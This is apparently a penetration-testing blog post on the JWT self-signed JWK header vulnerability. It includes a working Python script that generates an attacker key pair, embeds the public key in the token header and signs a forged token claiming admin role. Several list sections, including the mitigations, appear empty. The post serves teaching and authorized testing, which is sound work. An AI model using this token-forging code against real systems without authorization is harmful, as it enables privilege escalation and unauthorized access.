Learn Pentesting: Deep Dive into Testing for JWT Self-Signed JWK Header Vulnerability

JSON Web Tokens (JWTs) are ubiquitous in modern web applications for authentication and authorization. However, when improperly implemented, JWT handling can open doors for serious security vulnerabilities. In this post, we’ll explore one such vulnerability—the acceptance of self-signed JSON Web Key (JWK) headers—and detail a manual testing methodology that penetration testers can use to identify this issue during web-application assessments.


1. JWT and JWK: A Brief Overview

JWT Structure

A JWT is composed of three parts:

What is a JWK?

A JSON Web Key (JWK) is a JSON data structure representing a cryptographic key. In many secure implementations, the server holds a pre-configured set of trusted public keys to verify the token signature. The vulnerability arises when the application accepts a JWK from the token’s header itself—allowing an attacker to inject their own key.


2. Understanding the Self-Signed JWK Header Vulnerability

The Vulnerability Explained

Normally, the server should verify a JWT’s signature against a trusted public key stored securely on the server side. However, if the application blindly trusts the JWK provided in the token header, an attacker can:

If the server accepts the provided JWK as valid for verification, the attacker can create forged tokens (e.g., escalating privileges) even without knowing the server’s private key.


3. Manual Testing Methodology

When performing a penetration test, manually checking for this vulnerability involves the following steps:

  1. Analyze the JWT Structure:
    Determine how the target application constructs and verifies its JWT tokens. Capture a token if possible and review its header fields.

  2. Generate an Attacker-Controlled RSA Key Pair:
    Use tools or libraries (e.g., Python’s cryptography module) to generate a new RSA key pair that you control.

  3. Convert the Public Key to JWK Format:
    Utilize a JWT library (like PyJWT) to convert your public key into the JWK format. This mimics the key structure expected in the header.

  4. Craft a Forged JWT:
    Build a new JWT token with a header that includes your self-signed JWK and an algorithm (e.g., RS256). The payload can be modified to reflect elevated privileges (e.g., setting role: admin).

  5. Sign the Token:
    Use your private key to sign the token.

  6. Test Against the Target Application:
    Submit your crafted token to the application endpoint. If the application accepts the token as valid, it likely does not enforce strict key verification, indicating a vulnerability.


4. Code Example: Crafting a Self-Signed JWT

Below is a Python code snippet that demonstrates the process of generating a self-signed JWT with a JWK header:

import jwt
import json
from jwt.algorithms import RSAAlgorithm
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.primitives import serialization

# Step 1: Generate an RSA key pair (attacker-controlled)
private_key = rsa.generate_private_key(
    public_exponent=65537,
    key_size=2048,
)
public_key = private_key.public_key()

# Step 2: Export keys in PEM format (for signing and conversion)
private_pem = private_key.private_bytes(
    encoding=serialization.Encoding.PEM,
    format=serialization.PrivateFormat.PKCS8,
    encryption_algorithm=serialization.NoEncryption()
)
public_pem = public_key.public_bytes(
    encoding=serialization.Encoding.PEM,
    format=serialization.PublicFormat.SubjectPublicKeyInfo
)

# Step 3: Convert the public key to JWK format using PyJWT's helper function
jwk_data = RSAAlgorithm.to_jwk(public_key)
jwk = json.loads(jwk_data)

# Step 4: Construct the JWT header with the self-signed JWK included
header = {
    "alg": "RS256",
    "jwk": jwk  # The self-signed key in JWK format
}

# Step 5: Define the JWT payload (modify claims as necessary for testing)
payload = {
    "user": "attacker",
    "role": "admin",  # Example elevated privilege claim
    "iat": 1610000000
}

# Step 6: Sign the token using the attacker's private key
token = jwt.encode(payload, private_pem, algorithm="RS256", headers=header)
print("Crafted JWT Token:")
print(token)

Explanation of the Code:


5. Evaluating the Results

After crafting your token, send it to the target application endpoint where JWTs are validated. Observe:

Note: Always ensure that testing is authorized and conducted in a controlled environment.


6. Mitigation Strategies and Recommendations

For developers and security teams, mitigating this vulnerability involves:


Conclusion

The JWT self-signed JWK header vulnerability exemplifies how misconfigurations in token handling can lead to severe security risks. By understanding the JWT structure, knowing how to craft a self-signed token, and testing the target application’s verification mechanism, penetration testers can uncover potentially exploitable weaknesses. This deep-dive methodology, complete with practical code examples, serves as a useful reference for anyone working in or aspiring to work in penetration testing.

Stay tuned for more articles in our “Learn Pentesting” series as we continue to explore advanced techniques and emerging vulnerabilities in web application security.

Ready to see how Numorian can help your business?

Contact us today to learn more about our services and how we can support your business.